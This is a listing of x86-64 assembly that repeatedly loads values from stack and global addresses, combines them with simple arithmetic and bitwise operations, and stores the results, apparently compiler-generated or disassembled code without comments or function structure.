lea rax, [rsp + 0x1328]
mov qword [rsp + 0xc030], rax
movzx eax, word [rsp + 0x147c]
mov rcx, qword [rsp + 0xbc98]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401e7044], ax
mov rax, qword [rsp + 0x9bf8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9460]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbde8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1c1]
movzx ecx, byte [rsp + 0x1d6]
add eax, ecx
mov byte [rsp + 0xb4], al
movzx eax, byte [rsp + 0xa1]
mov byte [rsp + 0x1f5], al
movsx eax, byte [rsp + 0xa0]
mov rcx, qword [0x1401e8be8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x167], al
mov rax, qword [rsp + 0x9cc8]
mov qword [rsp + 0xc038], rax
mov eax, dword [rsp + 0x4f2c]
mov ecx, dword [rsp + 0x4cd0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9620]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9650]
mov eax, dword [rax]
mov dword [rsp + 0x53c8], eax
mov rax, qword [rsp + 0xa2f0]
mov rcx, qword [rsp + 0x8fe8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbc08], rax
lea rax, [rsp + 0x12ec]
mov qword [0x1401e8e38], rax
mov rax, qword [rsp + 0xb868]
movzx eax, word [rax]
mov rcx, qword [0x1401e8cc8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9b70]
mov word [rcx], ax
mov rax, qword [rsp + 0x9930]
movzx eax, byte [rax]
mov byte [rsp + 0x1f6], al
movsx eax, word [rsp + 0x1034]
movsx ecx, word [rsp + 0x10bc]
sub eax, ecx
mov rcx, qword [rsp + 0x8d90]
mov word [rcx], ax
lea rax, [rsp + 0xd8]
mov qword [rsp + 0xc040], rax
mov rax, qword [rsp + 0xaec0]
mov rcx, qword [rsp + 0x9588]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x97d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbec8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xae20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x95f8], rax
mov eax, dword [rsp + 0x53a8]
mov dword [rsp + 0x53cc], eax
mov rax, qword [rsp + 0xa500]
mov rax, qword [rax]
mov rcx, qword [0x1401e7010]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb728]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x163]
mov rcx, qword [rsp + 0x8f78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e70b2], al
movzx eax, word [rsp + 0x1308]
mov word [rsp + 0x15f0], ax
movzx eax, byte [rsp + 0x82]
mov rcx, qword [rsp + 0x9868]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x176], al
mov rax, qword [rsp + 0x91a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb0b0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1cf], al
movzx eax, word [0x1401e705c]
mov word [rsp + 0x15f4], ax
mov rax, qword [rsp + 0xbed0]
mov rcx, qword [rsp + 0xbdb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4e94], eax
lea rax, [rsp + 0xaf28]
mov qword [rsp + 0xc048], rax
mov rax, qword [rsp + 0x90f8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x96f0]
shl rax, cl
mov rcx, qword [rsp + 0x8bc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaee0]
mov eax, dword [rax]
mov dword [rsp + 0x53d0], eax
mov rax, qword [rsp + 0xb660]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa1c8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1401e88b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xaf88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xba70]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x150], al
movsx eax, word [rsp + 0x1094]
movsx ecx, word [rsp + 0x115c]
add eax, ecx
mov word [rsp + 0x15e0], ax
mov rax, qword [rsp + 0xa938]
movzx eax, byte [rax]
mov byte [rsp + 0x1f7], al
movzx eax, word [rsp + 0x1410]
movzx ecx, word [0x1401e70bc]
and eax, ecx
mov word [rsp + 0x13cc], ax
mov eax, dword [rsp + 0x50e0]
mov dword [rsp + 0x53d4], eax
mov rax, qword [rsp + 0xa388]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9058]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa560], rax
mov eax, dword [rsp + 0x53a4]
mov ecx, dword [rsp + 0x5104]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4e8]
mov dword [rcx], eax
lea rax, [rsp + 0x99b0]
mov qword [rsp + 0xc050], rax
mov rax, qword [rsp + 0xbc98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb128]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e7044], ax
movsx eax, word [0x1401e70e8]
mov rcx, qword [rsp + 0x8dd8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa9e0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xc8]
mov byte [rsp + 0x1f8], al
mov rax, qword [rsp + 0xb978]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa7b0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9b88]
mov byte [rcx], al
mov rax, qword [0x1401e8b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1020]
or eax, ecx
mov rcx, qword [rsp + 0xae18]
mov word [rcx], ax
mov eax, dword [rsp + 0x53c8]
mov dword [rsp + 0x53d8], eax
mov rax, qword [rsp + 0xa858]
movzx ecx, al
mov rax, qword [rsp + 0xa868]
shl rax, cl
mov rcx, qword [rsp + 0xa9b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9540]
mov rax, qword [rax]
mov qword [rsp + 0xc058], rax
mov eax, dword [rsp + 0x4ea8]
mov rcx, qword [rsp + 0xbdb8]
mov qword [rsp + 0xc060], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc060]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x526c], eax
mov rax, qword [rsp + 0xa6f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbf60]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1401e70b3], al
mov rax, qword [0x1401e8ce0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaf10]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1168], ax
mov rax, qword [rsp + 0x8e00]
movzx eax, byte [rax]
mov byte [rsp + 0x1f9], al
mov rax, qword [rsp + 0xa9e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1414]
add eax, ecx
mov word [rsp + 0x13a8], ax
movzx eax, word [rsp + 0x15dc]
mov word [rsp + 0x15f8], ax
mov rax, qword [rsp + 0x9c98]
mov rcx, qword [rsp + 0x9da8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9910], rax
mov eax, dword [rsp + 0x5144]
mov dword [rsp + 0x53dc], eax
mov rax, qword [rsp + 0xbed0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5228], eax
mov rax, qword [rsp + 0xb048]
mov rcx, qword [rsp + 0x9228]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8b20], rax
movzx eax, byte [rsp + 0x1b0]
movzx ecx, byte [0x1401e700f]
and eax, ecx
mov byte [0x1401e7096], al
movzx eax, word [rsp + 0x110c]
mov word [rsp + 0x15fc], ax
movzx eax, word [rsp + 0x12d0]
movzx ecx, word [rsp + 0x10c8]
add eax, ecx
mov rcx, qword [rsp + 0xb948]
mov word [rcx], ax
lea rax, [rsp + 0x16d]
mov qword [rsp + 0xc068], rax
mov rax, qword [0x1401e8c40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x177]
sub eax, ecx
mov byte [rsp + 0x138], al
mov rax, qword [rsp + 0xbee8]
mov rcx, qword [rsp + 0xa1a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b08], rax
mov eax, dword [rsp + 0x4f98]
mov dword [rsp + 0x53e0], eax
mov rax, qword [rsp + 0xadb0]
mov rcx, qword [rsp + 0xb208]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa3e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb088]
mov eax, dword [rax]
mov dword [rsp + 0x53e4], eax
mov rax, qword [rsp + 0xbce0]
movzx eax, word [rax]
mov word [0x1401e8e40], ax
mov rax, qword [rsp + 0x8d48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1a8]
shl eax, cl
mov byte [rsp + 0x75], al
movsx eax, byte [rsp + 0x1b9]
movsx ecx, byte [rsp + 0xb6]
or eax, ecx
mov byte [rsp + 0x1f1], al
mov rax, qword [rsp + 0xa358]
movzx eax, word [rax]
mov word [rsp + 0x1600], ax
movzx eax, byte [0x1401e7096]
mov rcx, qword [rsp + 0x8f68]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9ce8]
mov byte [rcx], al
lea rax, [rsp + 0xa560]
mov qword [rsp + 0xc070], rax
mov rax, qword [rsp + 0x9028]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4ccc]
shr eax, cl
mov dword [rsp + 0x4f80], eax
mov rax, qword [rsp + 0xa9d0]
mov eax, dword [rax]
mov dword [rsp + 0x53e8], eax
mov rax, qword [rsp + 0xb0c0]
mov rcx, qword [rsp + 0xb400]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x99b0], rax
movzx eax, word [rsp + 0x123c]
mov rcx, qword [rsp + 0xb9e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x131c], ax
mov rax, qword [rsp + 0xb468]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1014]
add eax, ecx
mov word [0x1401e7170], ax
movzx eax, byte [rsp + 0xca]
mov byte [rsp + 0x1fa], al
mov rax, qword [rsp + 0xa7d0]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e706a]
add eax, ecx
mov rcx, qword [rsp + 0xb8a0]
mov byte [rcx], al
lea rax, [rsp + 0x160]
mov qword [rsp + 0xc078], rax
mov eax, dword [rsp + 0x50b4]
mov ecx, dword [rsp + 0x4eb0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ff0], eax
mov rax, qword [rsp + 0xb7d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa400]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa9c0], rax
mov eax, dword [rsp + 0x4e7c]
mov dword [rsp + 0x53ec], eax
mov rax, qword [rsp + 0xa490]
mov rcx, qword [rsp + 0xaed8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9e70]
mov qword [rcx], rax
movzx eax, word [rsp + 0x14e8]
mov word [rsp + 0x1604], ax
movsx eax, byte [rsp + 0x1ce]
mov rcx, qword [rsp + 0xb770]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e8e08]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1e7]
movzx ecx, byte [rsp + 0x1dc]
add eax, ecx
mov byte [rsp + 0x1a0], al
mov rax, qword [0x1401e8d60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b9]
sub eax, ecx
mov rcx, qword [rsp + 0x9660]
mov byte [rcx], al
mov rax, qword [rsp + 0xb440]
movzx eax, word [rax]
mov word [rsp + 0x1608], ax
mov rax, qword [rsp + 0xbbf0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x50fc]
shr eax, cl
mov dword [rsp + 0x50b0], eax
mov rax, qword [rsp + 0xb410]
mov rax, qword [rax]
mov qword [rsp + 0xc080], rax
mov rax, qword [rsp + 0xbea8]
mov rcx, qword [rsp + 0xbc80]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9538]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb850]
mov rcx, qword [rsp + 0x9b08]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xadf0]
mov qword [rcx], rax
lea rax, [0x1401e714c]
mov qword [rsp + 0xc088], rax
movsx eax, byte [rsp + 0x97]
mov rcx, qword [rsp + 0xa078]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x1401e70b6], al
movzx eax, byte [rsp + 0x7b]
mov rcx, qword [rsp + 0x9548]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x114], al
mov rax, qword [rsp + 0x9a28]
movzx eax, word [rax]
mov word [rsp + 0x160c], ax
movsx eax, word [rsp + 0x14ec]
movsx ecx, word [rsp + 0x15b0]
add eax, ecx
mov rcx, qword [rsp + 0x9740]
mov word [rcx], ax
mov rax, qword [rsp + 0x9728]
mov rax, qword [rax]
mov qword [rsp + 0xc090], rax
mov rax, qword [rsp + 0xb9e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9e28]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbec8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9af8]
mov rcx, qword [rsp + 0xbf70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xaa20]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4e9c]
mov dword [rsp + 0x53f0], eax
movsx eax, word [rsp + 0x1268]
movsx ecx, word [rsp + 0x13e8]
sub eax, ecx
mov word [rsp + 0x11e0], ax
mov rax, qword [rsp + 0x9568]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xae88]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e708b], al
movzx eax, byte [rsp + 0x135]
mov byte [rsp + 0x1fb], al
movzx eax, word [0x1401e7130]
mov rcx, qword [rsp + 0x9160]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11b0], ax
movzx eax, word [rsp + 0x1574]
mov rcx, qword [rsp + 0xacd0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9d20]
mov word [rcx], ax
movzx eax, byte [rsp + 0xde]
mov byte [rsp + 0x1fc], al
mov eax, dword [rsp + 0x531c]
mov ecx, dword [section..data]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5014], eax
lea rax, [rsp + 0x97e8]
mov qword [rsp + 0xc098], rax
mov rax, qword [rsp + 0xb328]
mov rcx, qword [rsp + 0xa410]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xacb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbcd8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401e7018]
shr rax, cl
mov qword [rsp + 0xa868], rax
lea rax, [rsp + 0x1400]
mov qword [0x1401e8e48], rax
lea rax, [rsp + 0x12d4]
mov qword [rsp + 0xc0a0], rax
mov rax, qword [0x1401e8be8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9720]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1e3], al
movzx eax, byte [rsp + 0x1b2]
mov byte [rsp + 0x1fd], al
movzx eax, word [rsp + 0x1538]
movzx ecx, word [rsp + 0x111c]
shl eax, cl
mov word [rsp + 0x1370], ax
mov eax, dword [rsp + 0x4ef4]
mov ecx, dword [0x1401e7008]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9538]
mov dword [rcx], eax
lea rax, [rsp + 0x50a4]
mov qword [rsp + 0xc0a8], rax
mov rax, qword [rsp + 0x9250]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba00]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d80]
mov qword [rcx], rax
lea rax, [0x1401e7018]
mov qword [rsp + 0xc0b0], rax
movsx eax, byte [rsp + 0xb7]
movsx ecx, byte [rsp + 0xed]
add eax, ecx
mov byte [0x1401e7067], al
mov rax, qword [rsp + 0xa5b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa9a0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x12d4], ax
movzx eax, byte [0x1401e7037]
mov byte [rsp + 0x1fe], al
mov rax, qword [rsp + 0xbe30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb5e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11d8], ax
movsx eax, word [rsp + 0x14c0]
mov rcx, qword [rsp + 0xae50]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x139c], ax
lea rax, [rsp + 0x5104]
mov qword [rsp + 0xc0b8], rax
mov rax, qword [rsp + 0x9428]
mov rcx, qword [rsp + 0xbed8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e58], rax
mov rax, qword [rsp + 0xaf08]
mov qword [rsp + 0xc0c0], rax
mov rax, qword [rsp + 0x8ea0]
mov rcx, qword [rsp + 0xa170]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x51b4], eax
lea rax, [rsp + 0x10f]
mov qword [0x1401e8e50], rax
movsx eax, word [rsp + 0x15a8]
movsx ecx, word [rsp + 0x12dc]
sub eax, ecx
mov word [rsp + 0x159c], ax
lea rax, [rsp + 0x1048]
mov qword [rsp + 0xc0c8], rax
mov rax, qword [rsp + 0x95d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa150]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x7e], al
mov rax, qword [rsp + 0xa960]
movzx eax, byte [rax]
mov byte [rsp + 0x1ff], al
mov rax, qword [rsp + 0xb228]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaab8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9948], rax
mov eax, dword [rsp + 0x50a8]
movzx ecx, al
mov eax, dword [rsp + 0x5010]
shl eax, cl
mov dword [rsp + 0x4f3c], eax
lea rax, [rsp + 0x5378]
mov qword [rsp + 0xc0d0], rax
mov rax, qword [rsp + 0x8f88]
mov rcx, qword [rsp + 0x90f0]
mov qword [rsp + 0xc0d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc0d8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x8fd8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xfa]
mov rcx, qword [rsp + 0x94b0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401e709f], al
mov rax, qword [rsp + 0xae18]
movzx eax, word [rax]
mov word [rsp + 0x1610], ax
mov rax, qword [0x1401e89e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x99d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1314], ax
lea rax, [rsp + 0xb2]
mov qword [rsp + 0xc0e0], rax
mov rax, qword [rsp + 0xb840]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12c8]
add eax, ecx
mov word [rsp + 0x157c], ax
mov rax, qword [rsp + 0x8de0]
mov rcx, qword [rsp + 0xb4a0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb710], rax
mov rax, qword [rsp + 0xb570]
mov eax, dword [rax]
mov dword [rsp + 0x53f4], eax
mov rax, qword [rsp + 0xa600]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xacc8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb5e8], rax
mov eax, dword [rsp + 0x4f70]
mov dword [rsp + 0x53f8], eax
movsx eax, byte [rsp + 0xb7]
movsx ecx, byte [rsp + 0x115]
sub eax, ecx
mov byte [0x1401e703f], al
movzx eax, word [rsp + 0x11e4]
mov rcx, qword [rsp + 0xade8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x13a4], ax
movsx eax, byte [rsp + 0x1c6]
mov rcx, qword [rsp + 0x9918]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8b], al
mov rax, qword [rsp + 0xa3d0]
movzx eax, byte [rax]
mov byte [rsp + 0x200], al
movzx eax, word [rsp + 0x11c4]
movzx ecx, word [rsp + 0x10d4]
add eax, ecx
mov rcx, qword [rsp + 0xa268]
mov word [rcx], ax
lea rax, [rsp + 0x53c8]
mov qword [rsp + 0xc0e8], rax
mov rax, qword [rsp + 0x9068]
mov rcx, qword [rsp + 0x9f88]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc008], rax
mov rax, qword [rsp + 0xa788]
mov ecx, dword [section..data]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8d38]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbd30]
mov qword [rsp + 0xc0f0], rax
lea rax, [rsp + 0x9a]
mov qword [0x1401e8e58], rax
mov rax, qword [rsp + 0x9218]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8e38]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1ac], al
mov rax, qword [rsp + 0x9b38]
movzx eax, word [rax]
mov word [rsp + 0x1614], ax
mov rax, qword [rsp + 0x99d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1530]
or eax, ecx
mov word [rsp + 0x1510], ax
mov rax, qword [rsp + 0xaf48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xba30]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x98a8]
mov word [rcx], ax
mov eax, dword [rsp + 0x4fa4]
mov dword [rsp + 0x53fc], eax
mov eax, dword [rsp + 0x4fb0]
movzx ecx, al
mov eax, dword [rsp + 0x4fc0]
shr eax, cl
mov rcx, qword [rsp + 0xbb30]
mov dword [rcx], eax
lea rax, [rsp + 0xae68]
mov qword [rsp + 0xc0f8], rax
mov rax, qword [rsp + 0xb8c0]
mov rcx, qword [rsp + 0xbbd0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa288]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb178]
movzx eax, byte [rax]
mov byte [0x1401e88c3], al
lea rax, [rsp + 0x149c]
mov qword [rsp + 0xc100], rax
movzx eax, byte [rsp + 0x9b]
movzx ecx, byte [0x1401e888d]
and eax, ecx
mov rcx, qword [rsp + 0x9010]
mov byte [rcx], al
mov rax, qword [rsp + 0xa188]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x144]
sub eax, ecx
mov byte [rsp + 0x151], al
lea rax, [rsp + 0x15d0]
mov qword [rsp + 0xc108], rax
mov rax, qword [rsp + 0xbf08]
mov rcx, qword [rsp + 0xa260]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x93a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaf00]
mov eax, dword [rax]
mov dword [rsp + 0x5400], eax
mov eax, dword [rsp + 0x4e8c]
imul eax, dword [rsp + 0x5328]
mov rcx, qword [rsp + 0xbf00]
mov dword [rcx], eax
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa420]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9980], rax
lea rax, [rsp + 0x1c4]
mov qword [rsp + 0xc110], rax
mov rax, qword [rsp + 0x8db0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9740]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e70d4], ax
movzx eax, word [rsp + 0x1560]
mov rcx, qword [rsp + 0xb128]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1380], ax
mov rax, qword [rsp + 0xa518]
movzx eax, byte [rax]
mov byte [rsp + 0x201], al
mov rax, qword [rsp + 0xb968]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa210]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x19c], al
mov rax, qword [rsp + 0xbea8]
mov rcx, qword [rsp + 0xa9d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x53a4], eax
mov rax, qword [rsp + 0xa730]
mov rax, qword [rax]
mov qword [rsp + 0xc118], rax
mov rax, qword [rsp + 0xbf88]
mov rcx, qword [rsp + 0xbf48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x508c], eax
lea rax, [0x1401e7018]
mov qword [rsp + 0xc120], rax
mov rax, qword [rsp + 0x9c40]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1100]
or eax, ecx
mov word [rsp + 0x1140], ax
mov rax, qword [rsp + 0xbc48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xae08]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1401e7044], ax
lea rax, [rsp + 0x175]
mov qword [rsp + 0xc128], rax
mov rax, qword [rsp + 0x8d48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc3]
sar eax, cl
mov byte [rsp + 0x18c], al
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [0x1401e715c]
xor eax, ecx
mov rcx, qword [rsp + 0xbaf8]
mov word [rcx], ax
mov eax, dword [rsp + 0x50b4]
mov dword [rsp + 0x5404], eax
mov rax, qword [rsp + 0x9958]
mov rcx, qword [rsp + 0xada0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xbf20]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa3b8]
mov rax, qword [rax]
mov qword [rsp + 0xc130], rax
mov rax, qword [rsp + 0x93a8]
mov rcx, qword [rsp + 0x9810]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9498]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xda]
movzx ecx, byte [rsp + 0xea]
sub eax, ecx
mov byte [rsp + 0x8a], al
movzx eax, word [rsp + 0x11d4]
movzx ecx, word [rsp + 0x1278]
add eax, ecx
mov word [0x1401e7174], ax
lea rax, [rsp + 0x1ee]
mov qword [rsp + 0xc138], rax
movsx eax, word [rsp + 0x1070]
movsx ecx, word [rsp + 0x15d8]
sub eax, ecx
mov rcx, qword [rsp + 0xbc38]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1bd]
mov byte [rsp + 0x202], al
mov rax, qword [rsp + 0xbcc0]
mov rcx, qword [rsp + 0xbc08]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa1d0], rax
mov rax, qword [rsp + 0xa278]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x92a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f98], rax
mov eax, dword [rsp + 0x500c]
mov dword [rsp + 0x5408], eax
mov rax, qword [rsp + 0xab88]
mov rcx, qword [rsp + 0xab18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb3d8]
mov dword [rcx], eax
lea rax, [rsp + 0x101c]
mov qword [rsp + 0xc140], rax
mov rax, qword [rsp + 0x9c30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12e]
add eax, ecx
mov byte [0x1401e709f], al
movsx eax, word [rsp + 0x115c]
mov rcx, qword [rsp + 0xb4d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10f0], ax
movsx eax, word [rsp + 0x1088]
mov rcx, qword [rsp + 0x9f68]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1348], ax
mov rax, qword [rsp + 0xb6f8]
movzx eax, byte [rax]
mov byte [rsp + 0x203], al
movsx eax, word [rsp + 0x109c]
movsx ecx, word [rsp + 0x15c4]
shl eax, cl
mov rcx, qword [rsp + 0xbe68]
mov word [rcx], ax
lea rax, [rsp + 0x5220]
mov qword [rsp + 0xc148], rax
mov rax, qword [rsp + 0xa2f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9a78]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d08]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5090]
mov dword [rsp + 0x540c], eax
mov rax, qword [rsp + 0xa950]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb8f0]
mov qword [rsp + 0xc150], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc150]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xb020]
mov qword [rcx], rax
mov rax, qword [0x1401e8800]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x181]
and eax, ecx
mov byte [0x1401e70b7], al
movzx eax, word [rsp + 0x102c]
mov rcx, qword [rsp + 0xa1f8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1320], ax
lea rax, [rsp + 0x19b]
mov qword [rsp + 0xc158], rax
movsx eax, word [rsp + 0x1404]
movsx ecx, word [rsp + 0x153c]
add eax, ecx
mov rcx, qword [rsp + 0x9b38]
mov word [rcx], ax
mov rax, qword [rsp + 0x9830]
movzx eax, byte [rax]
mov byte [rsp + 0x204], al
mov rax, qword [rsp + 0xaf00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x51cc], eax
mov rax, qword [rsp + 0xa158]
mov rcx, qword [0x1401e7010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b20], rax
lea rax, [rsp + 0x5368]
mov qword [rsp + 0xc160], rax
